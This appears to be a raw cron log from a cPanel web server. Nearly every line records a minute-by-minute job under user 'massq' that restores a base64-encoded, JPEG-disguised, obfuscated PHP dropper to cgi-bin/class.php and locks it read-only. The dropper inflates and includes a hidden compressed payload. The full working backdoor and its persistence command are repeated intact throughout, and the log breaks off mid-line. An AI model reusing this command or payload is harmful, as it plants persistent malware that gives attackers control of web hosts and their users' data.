Nov 11 07:16:01 server CROND[21995]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:17:01 server CROND[22805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:18:01 server CROND[23617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:19:01 server CROND[24322]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:20:01 server CROND[25229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 07:20:01 server CROND[25233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:20:01 server CROND[25234]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 07:20:01 server CROND[25232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:20:01 server CROND[25235]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:21:01 server CROND[26115]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:22:01 server CROND[26776]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:23:01 server CROND[27404]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:24:01 server CROND[28213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:25:01 server CROND[29029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:25:01 server CROND[29030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:25:01 server CROND[29031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:26:01 server CROND[30015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:27:01 server CROND[30624]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 07:27:01 server CROND[30625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:28:01 server CROND[31573]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:29:01 server CROND[32472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 